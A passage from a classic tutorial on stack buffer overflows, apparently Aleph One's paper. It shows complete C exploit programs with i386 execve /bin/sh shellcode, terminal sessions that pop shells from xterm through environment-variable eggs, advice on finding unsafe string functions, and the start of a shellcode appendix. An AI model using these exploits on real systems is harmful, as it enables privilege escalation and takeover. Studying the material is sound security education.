addr_ptr = (long *) ptr;
for (i = 0; i < bsize; i+=4)
*(addr_ptr++) = addr;
for (i = 0; i < bsize/2; i++)
buff[i] = NOP;
ptr = buff + ((bsize/2) - (strlen(shellcode)/2));
for (i = 0; i < strlen(shellcode); i++)
*(ptr++) = shellcode[i];
buff[bsize - 1] = ‘\0';
memcpy(buff,”EGG=”,4);
putenv(buff);
system(”/bin/bash”);
}
——————————————————————————
A good selection for our buffer size is about 100 bytes more than the size
of the buffer we are trying to overflow. This will place our code at the end
of the buffer we are trying to overflow, giving a lot of space for the NOPs,
but still overwriting the return address with the address we guessed. The
buffer we are trying to overflow is 512 bytes long, so we’ll use 612. Let’s
try to overflow our test program with our new exploit:
——————————————————————————
[aleph1]$ ./exploit3 612
Using address: 0xbffffdb4
[aleph1]$ ./vulnerable $EGG
$
——————————————————————————
Whoa! First try! This change has improved our chances a hundredfold.
Let’s try it now on a real case of a buffer overflow. We’ll use for our
demonstration the buffer overflow on the Xt library. For our example, we’ll
use xterm (all programs linked with the Xt library are vulnerable). You must
be running an X server and allow connections to it from the localhost. Set
your DISPLAY variable accordingly.
——————————————————————————
[aleph1]$ export DISPLAY=:0.0
[aleph1]$ ./exploit3 1124
Using address: 0xbffffdb4
[aleph1]$ /usr/X11R6/bin/xterm -fg $EGG
Warning: Color name “ë^1¤FF
°
óV
¤1¤Ø@¤èÜÿÿÿ/bin/sh¤ÿ¿¤¤ÿ¿¤¤ÿ¿¤¤ÿ¿¤¤ÿ¿¤¤ÿ¿¤¤ÿ¿¤¤ÿ¿¤¤ÿ¿¤¤ÿ¿¤¤ÿ¿¤¤ÿ¿¤¤ÿ¿¤¤ÿ¿¤¤ÿ¿¤¤ÿ¿¤¤ÿ¿¤¤ÿ¿¤¤ÿ¿¤¤ÿ¿¤¤ÿ¿¤¤ÿ¿¤¤ÿ¿¤¤ÿ¿¤¤ÿ¿¤¤ÿ¿¤¤ÿ¿¤¤ÿ¿¤¤ÿ¿¤¤ÿ¿¤¤ÿ¿¤¤ÿ¿¤¤ÿ¿¤¤ÿ¿¤¤ÿ¿¤¤ÿ¿¤¤ÿ¿¤¤ÿ¿¤¤ÿ¿¤¤ÿ¿¤¤ÿ¿¤¤ÿ¿¤¤ÿ¿¤¤ÿ¿¤¤ÿ¿¤¤ÿ¿¤¤ÿ¿¤¤ÿ¿¤¤ÿ¿¤¤ÿ¿¤¤ÿ¿¤¤ÿ¿¤¤ÿ¿¤¤ÿ¿¤¤ÿ¿¤¤ÿ¿¤¤ÿ¿¤¤ÿ¿¤¤ÿ¿¤¤
ÿ¿¤¤ÿ¿¤¤ÿ¿¤¤ÿ¿¤¤ÿ¿¤¤ÿ¿¤¤ÿ¿¤¤ÿ¿¤¤ÿ¿¤¤ÿ¿¤¤ÿ¿¤¤ÿ¿¤¤ÿ¿¤¤ÿ¿¤¤ÿ¿¤¤ÿ¿¤¤ÿ¿¤¤ÿ¿¤¤ÿ¿¤¤ÿ¿¤¤ÿ¿¤¤ÿ¿¤¤ÿ¿¤¤ÿ¿¤¤ÿ¿¤¤ÿ¿¤¤ÿ¿¤¤ÿ¿¤¤ÿ¿¤¤ÿ¿¤¤ÿ¿¤¤ÿ¿¤¤ÿ¿¤¤ÿ¿¤¤ÿ¿¤¤ÿ¿¤¤ÿ¿¤¤ÿ¿¤¤ÿ¿¤¤ÿ¿¤¤ÿ¿¤¤ÿ¿¤¤ÿ¿¤¤ÿ¿¤¤ÿ¿¤¤ÿ¿¤¤ÿ¿¤¤ÿ¿¤¤ÿ¿¤¤ÿ¿¤¤ÿ¿¤¤ÿ¿¤¤ÿ¿¤¤ÿ¿¤¤ÿ¿¤¤ÿ¿¤¤ÿ¿¤¤ÿ¿¤¤ÿ¿¤¤ÿ¿¤¤ÿ¿¤¤ÿ¿¤¤ÿ¿¤¤ÿ¿¤
¤ÿ¿¤¤ÿ¿¤¤ÿ¿¤¤ÿ¿¤¤ÿ¿¤¤ÿ¿¤¤ÿ¿¤¤ÿ¿¤¤ÿ¿¤¤ÿ¿¤¤ÿ¿¤¤ÿÿ¿¤¤ÿ¿¤¤ÿ¿¤¤ÿ¿¤¤
^C
[aleph1]$ exit
[aleph1]$ ./exploit3 2148 100
Using address: 0xbffffd48
[aleph1]$ /usr/X11R6/bin/xterm -fg $EGG
Warning: Color name “ë^1¤FF
°
óV
¤1¤Ø@¤èÜÿÿÿ/bin/sh¤ÿ¿H¤ÿ¿H¤ÿ¿H¤ÿ¿H¤ÿ¿H¤ÿ¿H¤ÿ¿H¤ÿ¿H¤ÿ¿H¤ÿ¿H¤ÿ¿H¤ÿ¿H¤ÿ¿H¤ÿ¿H¤ÿ¿H¤ÿ¿H¤ÿ¿H¤ÿ¿H¤ÿ¿H¤ÿ¿H¤ÿ¿H¤ÿ¿H¤ÿ¿H¤ÿ¿H¤ÿ¿H¤ÿ¿H¤ÿ¿H¤ÿ¿H¤ÿ¿H¤ÿ¿H¤ÿ¿H¤ÿ¿H¤ÿ¿H¤ÿ¿H¤ÿ¿H¤ÿ¿H¤ÿ¿H¤ÿ¿H¤ÿ¿H¤ÿ¿H¤ÿ¿H¤ÿ¿H¤ÿ¿H¤ÿ¿H¤ÿ¿H¤ÿ¿H¤ÿ¿H¤ÿ¿H¤ÿ¿H¤ÿ¿H¤ÿ¿H¤ÿ¿H¤ÿ¿H¤ÿ¿H¤ÿ¿H¤ÿ¿H¤ÿ¿H¤ÿ¿H¤ÿ¿H¤
ÿ¿H¤ÿ¿H¤ÿ¿H¤ÿ¿H¤ÿ¿H¤ÿ¿H¤ÿ¿H¤ÿ¿H¤ÿ¿H¤ÿ¿H¤ÿ¿H¤ÿ¿H¤ÿ¿H¤ÿ¿H¤ÿ¿H¤ÿ¿H¤ÿ¿H¤ÿ¿H¤ÿ¿H¤ÿ¿H¤ÿ¿H¤ÿ¿H¤ÿ¿H¤ÿ¿H¤ÿ¿H¤ÿ¿H¤ÿ¿H¤ÿ¿H¤ÿ¿H¤ÿ¿H¤ÿ¿H¤ÿ¿H¤ÿ¿H¤ÿ¿H¤ÿ¿H¤ÿ¿H¤ÿ¿H¤ÿ¿H¤ÿ¿H¤ÿ¿H¤ÿ¿H¤ÿ¿H¤ÿ¿H¤ÿ¿H¤ÿ¿H¤ÿ¿H¤ÿ¿H¤ÿ¿H¤ÿ¿H¤ÿ¿H¤ÿ¿H¤ÿ¿H¤ÿ¿H¤ÿ¿H¤ÿ¿H¤ÿ¿H¤ÿ¿H¤ÿ¿H¤ÿ¿H¤ÿ¿H¤ÿ¿H¤ÿ¿H¤ÿ¿H¤ÿ¿H
¤ÿ¿H¤ÿ¿H¤ÿ¿H¤ÿ¿H¤ÿ¿H¤ÿ¿H¤ÿ¿H¤ÿ¿H¤ÿ¿H¤ÿ¿H¤ÿ¿H¤ÿ¿H¤ÿ¿H¤ÿ¿H¤ÿ¿H¤ÿ¿H¤ÿ¿H¤ÿ¿H¤ÿ¿H¤ÿ¿H¤ÿ¿H¤ÿ¿H¤ÿ¿H¤ÿ¿H¤ÿ¿H¤ÿ¿H¤ÿ¿H¤ÿ¿H¤ÿ¿H¤ÿ¿H¤ÿ¿H¤ÿ¿H¤ÿ¿H¤ÿ¿H¤ÿ¿H¤ÿ¿H¤ÿ¿H¤ÿ¿H¤ÿ¿H¤ÿ¿H¤ÿ¿H¤ÿ¿H¤ÿ¿H¤ÿ¿H¤ÿ¿H¤ÿ¿H¤ÿ¿H¤ÿ¿H¤ÿ¿H¤ÿ¿H¤ÿ¿H¤ÿ¿H¤ÿ¿H¤ÿ¿H¤ÿ¿H¤ÿ¿H¤ÿ¿H¤ÿ¿H¤ÿ¿H¤ÿ¿H¤ÿ¿H¤ÿ¿H¤ÿ¿H¤ÿ¿
H¤ÿ¿H¤ÿ¿H¤ÿ¿H¤ÿ¿H¤ÿ¿H¤ÿ¿H¤ÿ¿H¤ÿ¿H¤ÿ¿H¤ÿ¿H¤ÿ¿H¤ÿ¿H¤ÿ¿H¤ÿ¿H¤ÿ¿H¤ÿ¿H¤ÿ¿H¤ÿ¿H¤ÿ¿H¤ÿ¿H¤ÿ¿H¤ÿ¿H¤ÿ¿H¤ÿ¿H¤ÿ¿H¤ÿ¿H¤ÿ¿H¤ÿ¿H¤ÿ¿H¤ÿ¿H¤ÿ¿H¤ÿ¿H¤ÿ¿H¤ÿ¿H¤ÿ¿H¤ÿ¿H¤ÿ¿H¤ÿ¿H¤ÿ¿H¤ÿ¿H¤ÿ¿H¤ÿ¿H¤ÿ¿H¤ÿ¿H¤ÿ¿H¤ÿ¿H¤ÿ¿H¤ÿ¿H¤ÿ¿H¤ÿ¿H¤ÿ¿H¤ÿ¿H¤ÿ¿H¤ÿ¿H¤ÿ¿H¤ÿ¿H¤ÿ¿H¤ÿ¿H¤ÿ¿H¤ÿ¿H¤ÿ¿H¤ÿ¿H¤ÿ¿H¤ÿ
¿H¤ÿ¿H¤ÿ¿H¤ÿ¿H¤ÿ¿H¤ÿ¿H¤ÿ¿H¤ÿ¿H¤ÿ¿H¤ÿ¿H¤ÿ¿H¤ÿ¿H¤ÿ
Warning: some arguments in previous message were lost
Illegal instruction
[aleph1]$ exit
.
.
.
[aleph1]$ ./exploit4 2148 600
Using address: 0xbffffb54
[aleph1]$ /usr/X11R6/bin/xterm -fg $EGG
Warning: Color name “ë^1¤FF
°
óV
¤1¤Ø@¤èÜÿÿÿ/bin/shûÿ¿Tûÿ¿Tûÿ¿Tûÿ¿Tûÿ¿Tûÿ¿Tûÿ¿Tûÿ¿Tûÿ¿Tûÿ¿Tûÿ¿Tûÿ¿Tûÿ¿Tûÿ¿Tûÿ¿Tûÿ¿Tûÿ¿Tûÿ¿Tûÿ¿Tûÿ¿Tûÿ¿Tûÿ¿Tûÿ¿Tûÿ¿Tûÿ¿Tûÿ¿Tûÿ¿Tûÿ¿Tûÿ¿Tûÿ¿Tûÿ¿Tûÿ¿Tûÿ¿Tûÿ¿Tûÿ¿Tûÿ¿Tûÿ¿Tûÿ¿Tûÿ¿Tûÿ¿Tûÿ¿Tûÿ¿Tûÿ¿Tûÿ¿Tûÿ¿Tûÿ¿Tûÿ¿Tûÿ¿Tûÿ¿Tûÿ¿Tûÿ¿Tûÿ¿Tûÿ¿Tûÿ¿Tûÿ¿Tûÿ¿Tûÿ¿Tûÿ¿Tûÿ¿Tû
ÿ¿Tûÿ¿Tûÿ¿Tûÿ¿Tûÿ¿Tûÿ¿Tûÿ¿Tûÿ¿Tûÿ¿Tûÿ¿Tûÿ¿Tûÿ¿Tûÿ¿Tûÿ¿Tûÿ¿Tûÿ¿Tûÿ¿Tûÿ¿Tûÿ¿Tûÿ¿Tûÿ¿Tûÿ¿Tûÿ¿Tûÿ¿Tûÿ¿Tûÿ¿Tûÿ¿Tûÿ¿Tûÿ¿Tûÿ¿Tûÿ¿Tûÿ¿Tûÿ¿Tûÿ¿Tûÿ¿Tûÿ¿Tûÿ¿Tûÿ¿Tûÿ¿Tûÿ¿Tûÿ¿Tûÿ¿Tûÿ¿Tûÿ¿Tûÿ¿Tûÿ¿Tûÿ¿Tûÿ¿Tûÿ¿Tûÿ¿Tûÿ¿Tûÿ¿Tûÿ¿Tûÿ¿Tûÿ¿Tûÿ¿Tûÿ¿Tûÿ¿Tûÿ¿Tûÿ¿Tûÿ¿Tûÿ¿Tûÿ¿Tûÿ¿T
ûÿ¿Tûÿ¿Tûÿ¿Tûÿ¿Tûÿ¿Tûÿ¿Tûÿ¿Tûÿ¿Tûÿ¿Tûÿ¿Tûÿ¿Tûÿ¿Tûÿ¿Tûÿ¿Tûÿ¿Tûÿ¿Tûÿ¿Tûÿ¿Tûÿ¿Tûÿ¿Tûÿ¿Tûÿ¿Tûÿ¿Tûÿ¿Tûÿ¿Tûÿ¿Tûÿ¿Tûÿ¿Tûÿ¿Tûÿ¿Tûÿ¿Tûÿ¿Tûÿ¿Tûÿ¿Tûÿ¿Tûÿ¿Tûÿ¿Tûÿ¿Tûÿ¿Tûÿ¿Tûÿ¿Tûÿ¿Tûÿ¿Tûÿ¿Tûÿ¿Tûÿ¿Tûÿ¿Tûÿ¿Tûÿ¿Tûÿ¿Tûÿ¿Tûÿ¿Tûÿ¿Tûÿ¿Tûÿ¿Tûÿ¿Tûÿ¿Tûÿ¿Tûÿ¿Tûÿ¿Tûÿ¿Tûÿ¿Tûÿ¿Tûÿ¿
Tûÿ¿Tûÿ¿Tûÿ¿Tûÿ¿Tûÿ¿Tûÿ¿Tûÿ¿Tûÿ¿Tûÿ¿Tûÿ¿Tûÿ¿Tûÿ¿Tûÿ¿Tûÿ¿Tûÿ¿Tûÿ¿Tûÿ¿Tûÿ¿Tûÿ¿Tûÿ¿Tûÿ¿Tûÿ¿Tûÿ¿Tûÿ¿Tûÿ¿Tûÿ¿Tûÿ¿Tûÿ¿Tûÿ¿Tûÿ¿Tûÿ¿Tûÿ¿Tûÿ¿Tûÿ¿Tûÿ¿Tûÿ¿Tûÿ¿Tûÿ¿Tûÿ¿Tûÿ¿Tûÿ¿Tûÿ¿Tûÿ¿Tûÿ¿Tûÿ¿Tûÿ¿Tûÿ¿Tûÿ¿Tûÿ¿Tûÿ¿Tûÿ¿Tûÿ¿Tûÿ¿Tûÿ¿Tûÿ¿Tûÿ¿Tûÿ¿Tûÿ¿Tûÿ¿Tûÿ¿Tûÿ¿Tûÿ¿Tûÿ¿Tûÿ
¿Tûÿ¿Tûÿ¿Tûÿ¿Tûÿ¿Tûÿ¿Tûÿ¿Tûÿ¿Tûÿ¿Tûÿ¿Tûÿ¿Tûÿ¿Tûÿ
Warning: some arguments in previous message were lost
bash$
——————————————————————————
Eureka! Less than a dozen tries and we found the magic numbers. If xterm
where installed suid root this would now be a root shell.
Small Buffer Overflows
~~~~~~~~~~~~~~~~~~~~~~
There will be times when the buffer you are trying to overflow is so
small that either the shellcode wont fit into it, and it will overwrite the
return address with instructions instead of the address of our code, or the
number of NOPs you can pad the front of the string with is so small that the
chances of guessing their address is minuscule. To obtain a shell from these
programs we will have to go about it another way. This particular approach
only works when you have access to the program’s environment variables.
What we will do is place our shellcode in an environment variable, and
then overflow the buffer with the address of this variable in memory. This
method also increases your changes of the exploit working as you can make
the environment variable holding the shell code as large as you want.
The environment variables are stored in the top of the stack when the
program is started, any modification by setenv() are then allocated
elsewhere. The stack at the beginning then looks like this:
Our new program will take an extra variable, the size of the variable
containing the shellcode and NOPs. Our new exploit now looks like this:
exploit4.c
——————————————————————————
#include
#define DEFAULT_OFFSET 0
#define DEFAULT_BUFFER_SIZE 512
#define DEFAULT_EGG_SIZE 2048
#define NOP 0×90
char shellcode[] =
“\xeb\x1f\x5e\x89\x76\x08\x31\xc0\x88\x46\x07\x89\x46\x0c\xb0\x0b”
“\x89\xf3\x8d\x4e\x08\x8d\x56\x0c\xcd\x80\x31\xdb\x89\xd8\x40\xcd”
“\x80\xe8\xdc\xff\xff\xff/bin/sh”;
unsigned long get_esp(void) {
__asm__(”movl %esp,%eax”);
}
void main(int argc, char *argv[]) {
char *buff, *ptr, *egg;
long *addr_ptr, addr;
int offset=DEFAULT_OFFSET, bsize=DEFAULT_BUFFER_SIZE;
int i, eggsize=DEFAULT_EGG_SIZE;
if (argc > 1) bsize = atoi(argv[1]);
if (argc > 2) offset = atoi(argv[2]);
if (argc > 3) eggsize = atoi(argv[3]);
if (!(buff = malloc(bsize))) {
printf(”Can’t allocate memory.\n”);
exit(0);
}
if (!(egg = malloc(eggsize))) {
printf(”Can’t allocate memory.\n”);
exit(0);
}
addr = get_esp() - offset;
printf(”Using address: 0x%x\n”, addr);
ptr = buff;
addr_ptr = (long *) ptr;
for (i = 0; i < bsize; i+=4)
*(addr_ptr++) = addr;
ptr = egg;
for (i = 0; i < eggsize - strlen(shellcode) - 1; i++)
*(ptr++) = NOP;
for (i = 0; i < strlen(shellcode); i++)
*(ptr++) = shellcode[i];
buff[bsize - 1] = ‘\0';
egg[eggsize - 1] = ‘\0';
memcpy(egg,”EGG=”,4);
putenv(egg);
memcpy(buff,”RET=”,4);
putenv(buff);
system(”/bin/bash”);
}
——————————————————————————
Lets try our new exploit with our vulnerable test program:
——————————————————————————
[aleph1]$ ./exploit4 768
Using address: 0xbffffdb0
[aleph1]$ ./vulnerable $RET
$
——————————————————————————
Works like a charm. Now lets try it on xterm:
——————————————————————————
[aleph1]$ export DISPLAY=:0.0
[aleph1]$ ./exploit4 2148
Using address: 0xbffffdb0
[aleph1]$ /usr/X11R6/bin/xterm -fg $RET
Warning: Color name
“°¤ÿ¿°¤ÿ¿°¤ÿ¿°¤ÿ¿°¤ÿ¿°¤ÿ¿°¤ÿ¿°¤ÿ¿°¤ÿ¿°¤ÿ¿°¤ÿ¿°¤ÿ¿°¤ÿ¿°¤ÿ¿°¤ÿ¿°¤ÿ¿°¤ÿ¿°¤ÿ¿°¤ÿ¿°¤ÿ¿°¤ÿ¿°¤ÿ¿°¤ÿ¿°¤ÿ¿°¤ÿ¿°¤ÿ¿°¤ÿ¿°¤ÿ¿°¤ÿ¿°¤ÿ¿°¤ÿ¿°¤ÿ¿°¤ÿ¿°¤ÿ¿°¤ÿ¿°¤ÿ¿°¤ÿ¿°¤ÿ¿°¤ÿ¿°¤ÿ¿°¤ÿ¿°¤ÿ¿°¤ÿ¿°¤ÿ¿°¤ÿ¿°¤ÿ¿°¤ÿ¿°¤ÿ¿°¤ÿ¿°¤ÿ¿°¤ÿ¿°¤ÿ¿°¤ÿ¿°¤ÿ¿°¤ÿ¿°¤ÿ¿°¤ÿ¿°¤ÿ¿°¤ÿ¿°¤ÿ¿°¤ÿ¿°¤ÿ¿°¤ÿ¿°¤
ÿ¿°¤ÿ¿°¤ÿ¿°¤ÿ¿°¤ÿ¿°¤ÿ¿°¤ÿ¿°¤ÿ¿°¤ÿ¿°¤ÿ¿°¤ÿ¿°¤ÿ¿°¤ÿ¿°¤ÿ¿°¤ÿ¿°¤ÿ¿°¤ÿ¿°¤ÿ¿°¤ÿ¿°¤ÿ¿°¤ÿ¿°¤ÿ¿°¤ÿ¿°¤ÿ¿°¤ÿ¿°¤ÿ¿°¤ÿ¿°¤ÿ¿°¤ÿ¿°¤ÿ¿°¤ÿ¿°¤ÿ¿°¤ÿ¿°¤ÿ¿°¤ÿ¿°¤ÿ¿°¤ÿ¿°¤ÿ¿°¤ÿ¿°¤ÿ¿°¤ÿ¿°¤ÿ¿°¤ÿ¿°¤ÿ¿°¤ÿ¿°¤ÿ¿°¤ÿ¿°¤ÿ¿°¤ÿ¿°¤ÿ¿°¤ÿ¿°¤ÿ¿°¤ÿ¿°¤ÿ¿°¤ÿ¿°¤ÿ¿°¤ÿ¿°¤ÿ¿°¤ÿ¿°¤ÿ¿°¤ÿ¿°¤ÿ¿°¤ÿ¿°¤ÿ¿°
¤ÿ¿°¤ÿ¿°¤ÿ¿°¤ÿ¿°¤ÿ¿°¤ÿ¿°¤ÿ¿°¤ÿ¿°¤ÿ¿°¤ÿ¿°¤ÿ¿°¤ÿ¿°¤ÿ¿°¤ÿ¿°¤ÿ¿°¤ÿ¿°¤ÿ¿°¤ÿ¿°¤ÿ¿°¤ÿ¿°¤ÿ¿°¤ÿ¿°¤ÿ¿°¤ÿ¿°¤ÿ¿°¤ÿ¿°¤ÿ¿°¤ÿ¿°¤ÿ¿°¤ÿ¿°¤ÿ¿°¤ÿ¿°¤ÿ¿°¤ÿ¿°¤ÿ¿°¤ÿ¿°¤ÿ¿°¤ÿ¿°¤ÿ¿°¤ÿ¿°¤ÿ¿°¤ÿ¿°¤ÿ¿°¤ÿ¿°¤ÿ¿°¤ÿ¿°¤ÿ¿°¤ÿ¿°¤ÿ¿°¤ÿ¿°¤ÿ¿°¤ÿ¿°¤ÿ¿°¤ÿ¿°¤ÿ¿°¤ÿ¿°¤ÿ¿°¤ÿ¿°¤ÿ¿°¤ÿ¿°¤ÿ¿°¤ÿ¿°¤ÿ¿°¤ÿ¿
°¤ÿ¿°¤ÿ¿°¤ÿ¿°¤ÿ¿°¤ÿ¿°¤ÿ¿°¤ÿ¿°¤ÿ¿°¤ÿ¿°¤ÿ¿°¤ÿ¿°¤ÿ¿°¤ÿ¿°¤ÿ¿°¤ÿ¿°¤ÿ¿°¤ÿ¿°¤ÿ¿°¤ÿ¿°¤ÿ¿°¤ÿ¿°¤ÿ¿°¤ÿ¿°¤ÿ¿°¤ÿ¿°¤ÿ¿°¤ÿ¿°¤ÿ¿°¤ÿ¿°¤ÿ¿°¤ÿ¿°¤ÿ¿°¤ÿ¿°¤ÿ¿°¤ÿ¿°¤ÿ¿°¤ÿ¿°¤ÿ¿°¤ÿ¿°¤ÿ¿°¤ÿ¿°¤ÿ¿°¤ÿ¿°¤ÿ¿°¤ÿ¿°¤ÿ¿°¤ÿ¿°¤ÿ¿°¤ÿ¿°¤ÿ¿°¤ÿ¿°¤ÿ¿°¤ÿ¿°¤ÿ¿°¤ÿ¿°¤ÿ¿°¤ÿ¿°¤ÿ¿°¤ÿ¿°¤ÿ¿°¤ÿ¿°¤ÿ¿°¤ÿ¿°¤ÿ
¿°¤ÿ¿°¤ÿ¿°¤ÿ¿°¤ÿ¿°¤ÿ¿°¤ÿ¿°¤ÿ¿°¤ÿ¿°¤ÿ¿°¤ÿ¿°¤ÿ¿°¤ÿ¿°¤ÿ¿°¤ÿ¿°¤ÿ¿°¤ÿ¿°¤ÿ¿°¤ÿ¿°¤ÿ¿°¤ÿ¿°¤ÿ¿°¤ÿ¿°¤ÿ¿°¤ÿ¿°¤ÿ¿°¤ÿ¿°¤ÿ¿°¤ÿ¿°¤ÿ¿°¤ÿ¿°¤ÿ¿°¤ÿ¿°¤ÿ¿°¤ÿ¿°¤ÿ¿°¤ÿ¿°¤ÿ¿°¤ÿ¿°¤ÿ¿°¤ÿ¿°¤ÿ¿°¤ÿ¿°¤ÿ¿°¤ÿ¿°¤ÿ¿°¤ÿ¿°¤ÿ¿°¤ÿ¿°¤ÿ¿°¤ÿ¿°¤ÿ¿°¤ÿ¿°¤ÿ¿°¤ÿ¿°¤ÿ¿°¤ÿ¿°¤ÿ¿°¤ÿ¿°¤ÿ¿°¤ÿ¿°¤ÿ¿°¤ÿ¿°¤ÿ¿°¤
ÿ¿°¤ÿ¿°¤ÿ¿°¤ÿ¿°¤ÿ¿°¤ÿ¿°¤ÿ¿°¤ÿ¿°¤ÿ¿°¤ÿ¿°¤ÿ¿°¤ÿ¿°¤ÿ¿°¤ÿ¿°¤ÿ¿°¤ÿ¿°¤ÿ¿°¤ÿ¿°¤ÿ¿°¤ÿ¿°¤ÿ¿°¤ÿ¿°¤ÿ¿°¤ÿ¿°¤ÿ¿°¤ÿ¿°¤ÿ¿°¤ÿ¿°¤ÿ¿°¤ÿ¿°¤ÿ¿°¤ÿ¿°¤ÿ¿°¤ÿ¿°¤ÿ¿°¤ÿ¿°¤ÿ¿°¤ÿ¿°¤ÿ¿°¤ÿ¿°¤ÿ¿°¤ÿ¿°¤ÿ¿°¤ÿ¿°¤ÿ¿°¤ÿ¿°¤ÿ¿°¤ÿ¿°¤ÿ¿°¤ÿ¿°¤ÿ¿°¤ÿ¿°¤ÿ¿°¤ÿ¿°¤ÿ¿°¤ÿ¿°¤ÿ¿°¤ÿ¿°¤ÿ¿°¤ÿ¿°¤ÿ¿°¤ÿ¿°¤ÿ¿°¤ÿ¿°
¤ÿ¿°¤ÿ¿°¤ÿ¿°¤ÿ¿°¤ÿ¿°¤ÿ¿°¤ÿ¿°¤ÿ¿°¤ÿ¿°¤ÿ¿°¤ÿ¿°¤ÿ¿°¤ÿ¿°¤ÿ¿°¤ÿ¿°¤ÿ¿°¤ÿ¿°¤ÿ¿°¤ÿ¿°¤ÿ¿°¤ÿ¿°¤ÿ¿°¤ÿ¿°¤ÿ¿°¤ÿ¿°¤ÿ¿°¤ÿ¿°¤ÿ¿°¤ÿ¿°¤ÿ¿°¤ÿ¿°¤ÿ¿°¤ÿ¿°¤ÿ¿°¤ÿ¿°¤ÿ¿°¤ÿ¿°¤ÿ¿°¤ÿ¿°¤ÿ¿°¤ÿ¿°¤ÿ¿°¤ÿ¿°¤ÿ¿°¤ÿ¿°¤ÿ¿°¤ÿ¿°¤ÿ¿°¤ÿ¿°¤ÿ¿°¤ÿ¿°¤ÿ¿°¤ÿ¿°¤ÿ¿°¤ÿ¿°¤ÿ¿°¤ÿ¿°¤ÿ¿°¤ÿ¿°¤ÿ¿°¤ÿ¿°¤ÿ¿°¤ÿ¿°¤ÿ¿
°¤ÿ¿°¤ÿ¿°¤ÿ¿°¤ÿ¿°¤ÿ¿°¤ÿ¿°¤ÿ¿°¤ÿ¿°¤ÿ¿°¤ÿ¿°¤ÿ¿°¤ÿ¿°¤ÿ¿°¤ÿ¿°¤ÿ¿°¤ÿ¿°¤ÿ¿°¤ÿ¿°¤ÿ¿°¤ÿ¿°¤ÿ¿°¤ÿ¿°¤ÿ¿°¤ÿ¿°¤ÿ¿°¤ÿ¿°¤ÿ¿°¤ÿ¿°¤ÿ¿°¤ÿ¿°¤ÿ¿°¤ÿ¿°¤ÿ¿°¤ÿ¿°¤ÿ¿°¤ÿ¿°¤ÿ¿°¤ÿ¿°¤ÿ¿°¤ÿ¿°¤ÿ¿°¤ÿ¿°¤ÿ¿°¤ÿ¿°¤ÿ¿°¤ÿ¿°¤ÿ¿°¤ÿ¿°¤ÿ¿°¤ÿ¿°¤ÿ¿°¤ÿ¿°¤ÿ¿°¤ÿ¿°¤ÿ¿°¤ÿ¿°¤ÿ¿°¤ÿ¿°¤ÿ¿°¤ÿ¿°¤ÿ¿°¤ÿ¿°¤ÿ¿°¤ÿ
¿°¤ÿ¿°¤ÿ¿°¤ÿ¿°¤ÿ¿°¤ÿ¿°¤ÿ¿°¤ÿ¿°¤ÿ¿°¤ÿ¿°¤ÿ¿°¤ÿ¿°¤ÿ¿°¤ÿ¿°¤ÿ¿°¤ÿ¿°¤ÿ¿°¤ÿ¿°¤ÿ¿°¤ÿ¿°¤ÿ¿°¤ÿ¿°¤ÿ¿°¤ÿ¿°¤ÿ¿°¤ÿ¿°¤ÿ¿°¤ÿ¿°¤ÿ¿°¤ÿ¿°¤ÿ¿°¤ÿ¿°¤ÿ¿°¤ÿ¿°¤ÿ¿°¤ÿ¿°¤ÿ¿°¤ÿ¿°¤ÿ¿°¤ÿ¿°¤ÿ¿°¤ÿ¿°¤ÿ¿°¤ÿ¿°¤ÿ¿°¤ÿ¿°¤ÿ¿°¤ÿ¿°¤ÿ¿°¤ÿ¿°¤ÿ¿°¤ÿ¿°¤ÿ¿°¤ÿ¿°¤ÿ¿°¤ÿ¿°¤ÿ¿°¤ÿ¿°¤ÿ¿°¤ÿ¿°¤ÿ¿°¤ÿ¿°¤ÿ¿°¤ÿ¿°¤
ÿ¿°¤ÿ¿°¤ÿ¿°¤ÿ¿°¤ÿ¿°¤ÿ¿°¤ÿ¿°¤ÿ¿°¤ÿ¿°¤ÿ¿°¤ÿ¿°¤ÿ¿°¤ÿ¿°¤ÿ¿°¤ÿ¿°¤ÿ¿°¤ÿ¿°¤ÿ¿°¤ÿ¿°¤ÿ¿°¤ÿ¿°¤ÿ¿°¤ÿ¿°¤ÿ¿°¤ÿ¿°¤ÿ¿°¤ÿ¿°¤ÿ¿°¤ÿ¿°¤ÿ¿°¤ÿ¿°¤ÿ¿°¤ÿ¿°¤ÿ¿°¤ÿ¿°¤ÿ¿°¤ÿ¿°¤ÿ¿°¤ÿ¿°¤ÿ¿°¤ÿ¿°¤ÿ¿°¤ÿ¿°¤ÿ¿°¤ÿ¿°¤ÿ¿°¤ÿ¿°¤ÿ¿°¤ÿ¿°¤ÿ¿°¤ÿ¿°¤ÿ¿°¤ÿ¿°¤ÿ¿°¤ÿ¿°¤ÿ¿°¤ÿ¿°¤ÿ¿°¤ÿ¿°¤ÿ¿°¤ÿ¿°¤ÿ¿°¤ÿÿ¿°¤ÿ¿
°¤ÿ¿°¤ÿ¿°¤
Warning: some arguments in previous message were lost
$
——————————————————————————
On the first try! It has certainly increased our odds. Depending how
much environment data the exploit program has compared with the program
you are trying to exploit the guessed address may be to low or to high.
Experiment both with positive and negative offsets.
Finding Buffer Overflows
~~~~~~~~~~~~~~~~~~~~~~~~
As stated earlier, buffer overflows are the result of stuffing more
information into a buffer than it is meant to hold. Since C does not have any
built-in bounds checking, overflows often manifest themselves as writing past
the end of a character array. The standard C library provides a number of
functions for copying or appending strings, that perform no boundary checking.
They include: strcat(), strcpy(), sprintf(), and vsprintf(). These functions
operate on null-terminated strings, and do not check for overflow of the
receiving string. gets() is a function that reads a line from stdin into
a buffer until either a terminating newline or EOF. It performs no checks for
buffer overflows. The scanf() family of functions can also be a problem if
you are matching a sequence of non-white-space characters (%s), or matching a
non-empty sequence of characters from a specified set (%[]), and the array
pointed to by the char pointer, is not large enough to accept the whole
sequence of characters, and you have not defined the optional maximum field
width. If the target of any of these functions is a buffer of static size,
and its other argument was somehow derived from user input there is a good
posibility that you might be able to exploit a buffer overflow.
Another usual programming construct we find is the use of a while loop to
read one character at a time into a buffer from stdin or some file until the
end of line, end of file, or some other delimiter is reached. This type of
construct usually uses one of these functions: getc(), fgetc(), or getchar().
If there is no explicit checks for overflows in the while loop, such programs
are easily exploited.
To conclude, grep(1) is your friend. The sources for free operating
systems and their utilities is readily available. This fact becomes quite
interesting once you realize that many comercial operating systems utilities
where derived from the same sources as the free ones. Use the source d00d.
Appendix A - Shellcode for Different Operating Systems/Architectures
~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~
i386/Linux
——————————————————————————
jmp 0×1f
popl %esi
movl %esi,0×8(%esi)
xorl %eax,%eax
movb %eax,0×7(%esi)
